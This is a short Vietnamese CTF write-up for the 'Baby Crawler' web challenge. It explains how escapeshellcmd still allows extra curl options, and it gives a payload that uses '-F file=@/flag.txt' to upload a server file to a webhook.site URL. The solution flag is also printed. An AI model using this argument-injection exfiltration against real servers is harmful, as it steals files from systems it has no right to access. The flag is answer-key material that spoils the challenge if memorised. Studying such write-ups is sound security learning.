CookieCTF - Baby Crawler
Description
Link challenge tại đây
Step
Đây là giao diện chính của challenge:
Ở challenge này, khi ấn vào nút CRAWL
trang web sẽ hiển thị một đường link Cached File
Khi click vào đường link ta sẽ thấy html
của trang web
Quay trở lại giao diện chính, kiểm tra source code thì phát hiện 1 endpoint ?debug
Kiểm tra thì thấy được đoạn code chạy ở server-side. Chú ý vào đoạn code này:
Đoạn code sẽ kiểm tra url người dung nhập vào có sử dụng HTTP/HTTPS hay không, nếu có website sẽ crawl
web bằng lệnh curl
, sau đó lưu nội dung crawl
được vào một file nằm trong thư mục ./cache
.
Vì có hàm shell_exec
nên đây có thể là một lỗi Command Injection. Ở đây hàm escapeshellcmd
được dùng để chặn các ký tự &#;``|*?~<>^()[]{}$\
, \x0A
và \xFF
từ url
người dùng nhập vào.
Vì vậy ta không thể bypass được challenge này theo hướng sử dụng các ký tự ;
hay &
, bắt buộc phải đi theo một hướng khác.
Thay vì inject
một câu lệnh để server thực hiện sau khi đã thực hiện lệnh curl
, ta có thể tận dụng trực tiếp câu lệnh curl
để gửi nội dung của file tới một server do ta tự dựng lên với option -F
.
Mình sẽ sử dụng webhook.site để làm server nhận file gửi đến.
Payload:
http://18.142.90.137:31315/ -F file=@/flag.txt https://webhook.site/407cb1c3-4316-4cb8-8b9c-4ece7abf8d11
Tải file flag.txt
về ta được flag: CHH{b48Y_CUrl_CrAwl3r_1c7ddee4c53dfc5fc952c63ca0aebb9a}